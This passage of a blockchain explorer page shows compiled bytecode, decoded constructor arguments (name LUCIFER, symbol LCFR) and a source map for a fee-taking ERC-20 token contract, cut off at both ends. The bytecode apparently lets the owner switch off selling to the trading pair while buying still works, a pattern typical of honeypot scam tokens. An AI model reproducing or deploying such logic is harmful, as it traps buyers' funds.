fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2c611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb190612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1f906121c6565b60405180910390fd5b80600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610f74611134565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611002576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff990612068565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612254565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5481565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a0906122e2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e90612370565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f19190611e33565b60405180910390a3505050565b5f6113098484610d7c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146113835781811015611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c906123d8565b60405180910390fd5b611382848484840361113b565b5b50505050565b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611424575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8061143b5750601060019054906101000a900460ff165b156114505761144b8383836114c7565b6114c2565b60085f9054906101000a900460ff1661149e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149590612440565b60405180910390fd5b6114a9838383611733565b816114b4919061245e565b90506114c18383836114c7565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c90612501565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061258f565b60405180910390fd5b6115ae83838361190c565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611631576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116289061261d565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171a9190611e33565b60405180910390a361172d848484611911565b50505050565b5f6011546117403061094e565b1015801561175b5750601060019054906101000a900460ff16155b80156117ae575060095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117f1576001601060016101000a81548160ff0219169083151502179055506117d6611916565b5f601060016101000a81548160ff0219169083151502179055505b5f60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118805760011515600c5f9054906101000a900460ff1615151461185f575f80fd5b6064600e548461186f919061263b565b61187991906126a9565b90506118ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156118ec576064600d54846118df919061263b565b6118e991906126a9565b90505b5b5f811115611901576119008530836114c7565b5b809150509392505050565b505050565b505050565b5f6119203061094e565b90505f810361192f57506119f8565b602860115461193e919061263b565b811115611957576028601154611954919061263b565b90505b611960816119fa565b5f4711156119f6575f600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16476040516119af90612706565b5f6040518083038185875af1925050503d805f81146119e9576040519150601f19603f3d011682016040523d82523d5f602084013e6119ee565b606091505b505080915050505b505b565b5f600267ffffffffffffffff811115611a1657611a1561271a565b5b604051908082528060200260200182016040528015611a445781602001602082028036833780820191505090505b50905030815f81518110611a5b57611a5a612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aff573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b239190612788565b81600181518110611b3757611b36612747565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bd39594939291906128a3565b5f604051808303815f87803b158015611bea575f80fd5b505af1158015611bfc573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611c3b578082015181840152602081019050611c20565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611c6082611c04565b611c6a8185611c0e565b9350611c7a818560208601611c1e565b611c8381611c46565b840191505092915050565b5f6020820190508181035f830152611ca68184611c56565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f611cf0611ceb611ce684611cae565b611ccd565b611cae565b9050919050565b5f611d0182611cd6565b9050919050565b5f611d1282611cf7565b9050919050565b611d2281611d08565b82525050565b5f602082019050611d3b5f830184611d19565b92915050565b5f80fd5b5f611d4f82611cae565b9050919050565b611d5f81611d45565b8114611d69575f80fd5b50565b5f81359050611d7a81611d56565b92915050565b5f819050919050565b611d9281611d80565b8114611d9c575f80fd5b50565b5f81359050611dad81611d89565b92915050565b5f8060408385031215611dc957611dc8611d41565b5b5f611dd685828601611d6c565b9250506020611de785828601611d9f565b9150509250929050565b5f8115159050919050565b611e0581611df1565b82525050565b5f602082019050611e1e5f830184611dfc565b92915050565b611e2d81611d80565b82525050565b5f602082019050611e465f830184611e24565b92915050565b5f805f60608486031215611e6357611e62611d41565b5b5f611e7086828701611d6c565b9350506020611e8186828701611d6c565b9250506040611e9286828701611d9f565b9150509250925092565b5f60208284031215611eb157611eb0611d41565b5b5f611ebe84828501611d6c565b91505092915050565b5f60ff82169050919050565b611edc81611ec7565b82525050565b5f602082019050611ef55f830184611ed3565b92915050565b611f0481611d45565b82525050565b5f602082019050611f1d5f830184611efb565b92915050565b5f8060408385031215611f3957611f38611d41565b5b5f611f4685828601611d6c565b9250506020611f5785828601611d6c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611fa557607f821691505b602082108103611fb857611fb7611f61565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ff582611d80565b915061200083611d80565b925082820190508082111561201857612017611fbe565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612052602083611c0e565b915061205d8261201e565b602082019050919050565b5f6020820190508181035f83015261207f81612046565b9050919050565b7f54726164696e67206163746976650000000000000000000000000000000000005f82015250565b5f6120ba600e83611c0e565b91506120c582612086565b602082019050919050565b5f6020820190508181035f8301526120e7816120ae565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612148602583611c0e565b9150612153826120ee565b604082019050919050565b5f6020820190508181035f8301526121758161213c565b9050919050565b7f7a65726f206164647265737300000000000000000000000000000000000000005f82015250565b5f6121b0600c83611c0e565b91506121bb8261217c565b602082019050919050565b5f6020820190508181035f8301526121dd816121a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61223e602683611c0e565b9150612249826121e4565b604082019050919050565b5f6020820190508181035f83015261226b81612232565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6122cc602483611c0e565b91506122d782612272565b604082019050919050565b5f6020820190508181035f8301526122f9816122c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61235a602283611c0e565b915061236582612300565b604082019050919050565b5f6020820190508181035f8301526123878161234e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f6123c2601d83611c0e565b91506123cd8261238e565b602082019050919050565b5f6020820190508181035f8301526123ef816123b6565b9050919050565b7f54726164696e67206e6f742061637469766500000000000000000000000000005f82015250565b5f61242a601283611c0e565b9150612435826123f6565b602082019050919050565b5f6020820190508181035f8301526124578161241e565b9050919050565b5f61246882611d80565b915061247383611d80565b925082820390508181111561248b5761248a611fbe565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6124eb602583611c0e565b91506124f682612491565b604082019050919050565b5f6020820190508181035f830152612518816124df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612579602383611c0e565b91506125848261251f565b604082019050919050565b5f6020820190508181035f8301526125a68161256d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f612607602683611c0e565b9150612612826125ad565b604082019050919050565b5f6020820190508181035f830152612634816125fb565b9050919050565b5f61264582611d80565b915061265083611d80565b925082820261265e81611d80565b9150828204841483151761267557612674611fbe565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126b382611d80565b91506126be83611d80565b9250826126ce576126cd61267c565b5b828204905092915050565b5f81905092915050565b50565b5f6126f15f836126d9565b91506126fc826126e3565b5f82019050919050565b5f612710826126e6565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061278281611d56565b92915050565b5f6020828403121561279d5761279c611d41565b5b5f6127aa84828501612774565b91505092915050565b5f819050919050565b5f6127d66127d16127cc846127b3565b611ccd565b611d80565b9050919050565b6127e6816127bc565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61281e81611d45565b82525050565b5f61282f8383612815565b60208301905092915050565b5f602082019050919050565b5f612851826127ec565b61285b81856127f6565b935061286683612806565b805f5b8381101561289657815161287d8882612824565b97506128888361283b565b925050600181019050612869565b5085935050505092915050565b5f60a0820190506128b65f830188611e24565b6128c360208301876127dd565b81810360408301526128d58186612847565b90506128e46060830185611efb565b6128f16080830184611e24565b969550505050505056fea2646970667358221220b60498c642644b8f814e45526eb99ac785c0708dda541b180f62b378ca5d7a2364736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000074c5543494645520000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c43465200000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): LUCIFER
Arg [1] : _symbol (string): LCFR

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [3] : 4c55434946455200000000000000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [5] : 4c43465200000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

16856:4962:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4495:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17555:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6855:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5624:108;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7636:261;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17046:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5466:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8306:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17527:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17418:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17240:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16900:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20499:87;;;;;;;;;;;;;:::i;:::-;;5795:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16026:150;;;;;;;;;;;;;:::i;:::-;;21497:135;;;;;;;;;;;;;:::i;:::-;;16954:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15812:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4714:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17591:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9047:436;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6128:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17012:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17097:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17488:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17268:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6384:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17199:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21640:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16184:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17133:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4495:100;4549:13;4582:5;4575:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4495:100;:::o;17555:27::-;;;;;;;;;;;;;:::o;6855:201::-;6938:4;6955:13;6971:12;:10;:12::i;:::-;6955:28;;6994:32;7003:5;7010:7;7019:6;6994:8;:32::i;:::-;7044:4;7037:11;;;6855:201;;;;:::o;5624:108::-;5685:7;5712:12;;5705:19;;5624:108;:::o;7636:261::-;7733:4;7750:15;7768:12;:10;:12::i;:::-;7750:30;;7791:38;7807:4;7813:7;7822:6;7791:15;:38::i;:::-;7840:27;7850:4;7856:2;7860:6;7840:9;:27::i;:::-;7885:4;7878:11;;;7636:261;;;;;:::o;17046:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;5466:93::-;5524:5;5549:2;5542:9;;5466:93;:::o;8306:238::-;8394:4;8411:13;8427:12;:10;:12::i;:::-;8411:28;;8450:64;8459:5;8466:7;8503:10;8475:25;8485:5;8492:7;8475:9;:25::i;:::-;:38;;;;:::i;:::-;8450:8;:64::i;:::-;8532:4;8525:11;;;8306:238;;;;:::o;17527:21::-;;;;;;;;;;;;;:::o;17418:33::-;;;;;;;;;;;;;:::o;17240:21::-;;;;:::o;16900:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;20499:87::-;20573:5;20564:6;;:14;;;;;;;;;;;;;;;;;;20499:87::o;5795:127::-;5869:7;5896:9;:18;5906:7;5896:18;;;;;;;;;;;;;;;;5889:25;;5795:127;;;:::o;16026:150::-;15949:12;:10;:12::i;:::-;15939:22;;:6;;;;;;;;;;;:22;;;15931:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16135:1:::1;16098:40;;16119:6;;;;;;;;;;;16098:40;;;;;;;;;;;;16166:1;16149:6;;:19;;;;;;;;;;;;;;;;;;16026:150::o:0;21497:135::-;15949:12;:10;:12::i;:::-;15939:22;;:6;;;;;;;;;;;:22;;;15931:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21561:13:::1;;;;;;;;;;;21560:14;21552:41;;;;;;;;;;;;:::i;:::-;;;;;;;;;21620:4;21604:13;;:20;;;;;;;;;;;;;;;;;;21497:135::o:0;16954:49::-;;;;;;;;;;;;;;;;;;;;;;:::o;15812:79::-;15850:7;15877:6;;;;;;;;;;;15870:13;;15812:79;:::o;4714:104::-;4770:13;4803:7;4796:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4714:104;:::o;17591:41::-;17629:3;17591:41;:::o;9047:436::-;9140:4;9157:13;9173:12;:10;:12::i;:::-;9157:28;;9196:24;9223:25;9233:5;9240:7;9223:9;:25::i;:::-;9196:52;;9287:15;9267:16;:35;;9259:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;9380:60;9389:5;9396:7;9424:15;9405:16;:34;9380:8;:60::i;:::-;9471:4;9464:11;;;;9047:436;;;;:::o;6128:193::-;6207:4;6224:13;6240:12;:10;:12::i;:::-;6224:28;;6263;6273:5;6280:2;6284:6;6263:9;:28::i;:::-;6309:4;6302:11;;;6128:193;;;;:::o;17012:25::-;;;;;;;;;;;;;:::o;17097:29::-;;;;:::o;17488:30::-;;;;:::o;17268:22::-;;;;:::o;6384:151::-;6473:7;6500:11;:18;6512:5;6500:18;;;;;;;;;;;;;;;:27;6519:7;6500:27;;;;;;;;;;;;;;;;6493:34;;6384:151;;;;:::o;17199:32::-;;;;;;;;;;;;;:::o;21640:175::-;15949:12;:10;:12::i;:::-;15939:22;;:6;;;;;;;;;;;:22;;;15931:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;21749:1:::1;21729:22;;:8;:22;;::::0;21721:47:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;21799:8;21779:17;;:28;;;;;;;;;;;;;;;;;;21640:175:::0;:::o;16184:244::-;15949:12;:10;:12::i;:::-;15939:22;;:6;;;;;;;;;;;:22;;;15931:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16293:1:::1;16273:22;;:8;:22;;::::0;16265:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;16383:8;16354:38;;16375:6;;;;;;;;;;;16354:38;;;;;;;;;;;;16412:8;16403:6;;:17;;;;;;;;;;;;;;;;;;16184:244:::0;:::o;17133:24::-;;;;:::o;401:98::-;454:7;481:10;474:17;;401:98;:::o;13040:346::-;13159:1;13142:19;;:5;:19;;;13134:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13240:1;13221:21;;:7;:21;;;13213:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13324:6;13294:11;:18;13306:5;13294:18;;;;;;;;;;;;;;;:27;13313:7;13294:27;;;;;;;;;;;;;;;:36;;;;13362:7;13346:32;;13355:5;13346:32;;;13371:6;13346:32;;;;;;:::i;:::-;;;;;;;;13040:346;;;:::o;13677:419::-;13778:24;13805:25;13815:5;13822:7;13805:9;:25::i;:::-;13778:52;;13865:17;13845:16;:37;13841:248;;13927:6;13907:16;:26;;13899:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;14011:51;14020:5;14027:7;14055:6;14036:16;:25;14011:8;:51::i;:::-;13841:248;13767:329;13677:419;;;:::o;19330:434::-;19475:14;:20;19490:4;19475:20;;;;;;;;;;;;;;;;;;;;;;;;;:42;;;;19499:14;:18;19514:2;19499:18;;;;;;;;;;;;;;;;;;;;;;;;;19475:42;:54;;;;19521:8;;;;;;;;;;;19475:54;19472:137;;;19545:31;19561:4;19566:2;19569:6;19545:15;:31::i;:::-;19591:7;;19472:137;19629:13;;;;;;;;;;;19621:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;19688:24;19695:4;19701:2;19705:6;19688;:24::i;:::-;19678:34;;;;;:::i;:::-;;;19725:31;19741:4;19746:2;19749:6;19725:15;:31::i;:::-;19330:434;;;;:::o;9953:806::-;10066:1;10050:18;;:4;:18;;;10042:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10143:1;10129:16;;:2;:16;;;10121:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10198:38;10219:4;10225:2;10229:6;10198:20;:38::i;:::-;10249:19;10271:9;:15;10281:4;10271:15;;;;;;;;;;;;;;;;10249:37;;10320:6;10305:11;:21;;10297:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10437:6;10423:11;:20;10405:9;:15;10415:4;10405:15;;;;;;;;;;;;;;;:38;;;;10640:6;10623:9;:13;10633:2;10623:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;10690:2;10675:26;;10684:4;10675:26;;;10694:6;10675:26;;;;;;:::i;:::-;;;;;;;;10714:37;10734:4;10740:2;10744:6;10714:19;:37::i;:::-;10031:728;9953:806;;;:::o;19772:719::-;19848:7;19898:15;;19870:24;19888:4;19870:9;:24::i;:::-;:43;;:56;;;;;19918:8;;;;;;;;;;;19917:9;19870:56;:76;;;;;19931:9;:15;19941:4;19931:15;;;;;;;;;;;;;;;;;;;;;;;;;19930:16;19870:76;19867:179;;;19974:4;19963:8;;:15;;;;;;;;;;;;;;;;;;19993:10;:8;:10::i;:::-;20029:5;20018:8;;:16;;;;;;;;;;;;;;;;;;19867:179;20066:11;20118:9;:13;20128:2;20118:13;;;;;;;;;;;;;;;;;;;;;;;;;20114:236;;;20166:4;20156:14;;:6;;;;;;;;;;;:14;;;20147:24;;;;;;17629:3;20201:7;;20192:6;:16;;;;:::i;:::-;:30;;;;:::i;:::-;20186:36;;20114:236;;;20271:9;:15;20281:4;20271:15;;;;;;;;;;;;;;;;;;;;;;;;;20268:82;;;17629:3;20318:6;;20309;:15;;;;:::i;:::-;:29;;;;:::i;:::-;20303:35;;20268:82;20114:236;20379:1;20373:3;:7;20370:83;;;20400:41;20416:4;20430;20437:3;20400:15;:41::i;:::-;20370:83;20480:3;20473:10;;;19772:719;;;;;:::o;14696:91::-;;;;:::o;15391:90::-;;;;:::o;20986:503::-;21027:23;21053:24;21071:4;21053:9;:24::i;:::-;21027:50;;21120:1;21101:15;:20;21098:34;;21124:7;;;21098:34;21183:2;21165:15;;:20;;;;:::i;:::-;21147:15;:38;21144:107;;;21237:2;21219:15;;:20;;;;:::i;:::-;21201:38;;21144:107;21271:33;21288:15;21271:16;:33::i;:::-;21356:1;21332:21;:25;21329:153;;;21373:12;21414:17;;;;;;;;;;;:22;;21444:21;21414:56;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21400:70;;;;;21358:124;21329:153;21014:475;20986:503;:::o;20594:384::-;20659:21;20697:1;20683:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20659:40;;20728:4;20710;20715:1;20710:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;20754:9;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20744:4;20749:1;20744:7;;;;;;;;:::i;:::-;;;;;;;:26;;;;;;;;;;;20783:9;;;;;;;;;;;:60;;;20858:8;20881:1;20897:4;20924;20944:15;20783:187;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20646:332;20594:384;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:126::-;1386:7;1426:42;1419:5;1415:54;1404:65;;1349:126;;;:::o;1481:60::-;1509:3;1530:5;1523:12;;1481:60;;;:::o;1547:142::-;1597:9;1630:53;1648:34;1657:24;1675:5;1657:24;:::i;:::-;1648:34;:::i;:::-;1630:53;:::i;:::-;1617:66;;1547:142;;;:::o;1695:126::-;1745:9;1778:37;1809:5;1778:37;:::i;:::-;1765:50;;1695:126;;;:::o;1827:144::-;1895:9;1928:37;1959:5;1928:37;:::i;:::-;1915:50;;1827:144;;;:::o;1977:167::-;2082:55;2131:5;2082:55;:::i;:::-;2077:3;2070:68;1977:167;;:::o;2150:258::-;2261:4;2299:2;2288:9;2284:18;2276:26;;2312:89;2398:1;2387:9;2383:17;2374:6;2312:89;:::i;:::-;2150:258;;;;:::o;2495:117::-;2604:1;2601;2594:12;2741:96;2778:7;2807:24;2825:5;2807:24;:::i;:::-;2796:35;;2741:96;;;:::o;2843:122::-;2916:24;2934:5;2916:24;:::i;:::-;2909:5;2906:35;2896:63;;2955:1;2952;2945:12;2896:63;2843:122;:::o;2971:139::-;3017:5;3055:6;3042:20;3033:29;;3071:33;3098:5;3071:33;:::i;:::-;2971:139;;;;:::o;3116:77::-;3153:7;3182:5;3171:16;;3116:77;;;:::o;3199:122::-;3272:24;3290:5;3272:24;:::i;:::-;3265:5;3262:35;3252:63;;3311:1;3308;3301:12;3252:63;3199:122;:::o;3327:139::-;3373:5;3411:6;3398:20;3389:29;;3427:33;3454:5;3427:33;:::i;:::-;3327:139;;;;:::o;3472:474::-;3540:6;3548;3597:2;3585:9;3576:7;3572:23;3568:32;3565:119;;;3603:79;;:::i;:::-;3565:119;3723:1;3748:53;3793:7;3784:6;3773:9;3769:22;3748:53;:::i;:::-;3738:63;;3694:117;3850:2;3876:53;3921:7;3912:6;3901:9;3897:22;3876: